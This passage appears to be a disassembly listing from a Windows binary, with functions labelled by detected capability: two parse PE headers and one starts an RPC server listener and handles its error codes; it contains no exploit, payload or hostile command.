add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x29f4e1dc0
add rax, 0x28
cmp rax, r9
jne 0x29f4e1df8
xor eax, eax
ret

Function at 0x29f4e1e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x29f4e42c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x29f4e1e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x29f4e1e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x29f4e1e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x29f4e1ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x29f4e42c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x29f4e1ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x29f4e1ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140013800
Capabilities:
Listen for remote procedure calls

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0xc]
mov ecx, dword [rcx + 8]
mov r8d, 1
call qword [sym.imp.RPCRT4.dll_RpcServerListen]
mov ebx, eax
cmp eax, 0x6b1
je 0x140013871
test eax, eax
je 0x140013871
lea rcx, str...SwRpcServer.cpp
mov edx, 0x5c
call qword [sym.imp.MSVCR120.dll_strrchr]
test rax, rax
je 0x140013841
inc rax
jmp 0x140013848
lea rax, str...SwRpcServer.cpp
lea rcx, [0x140042858]
mov rdx, rax
call fcn.140001760
movabs rcx, 0x212500000000
shl rax, 0x34
or rax, rbx
or rax, rcx
add rsp, 0x20
pop rbx
ret
movabs rax, 0x8000000000
add rsp, 0x20
pop rbx
ret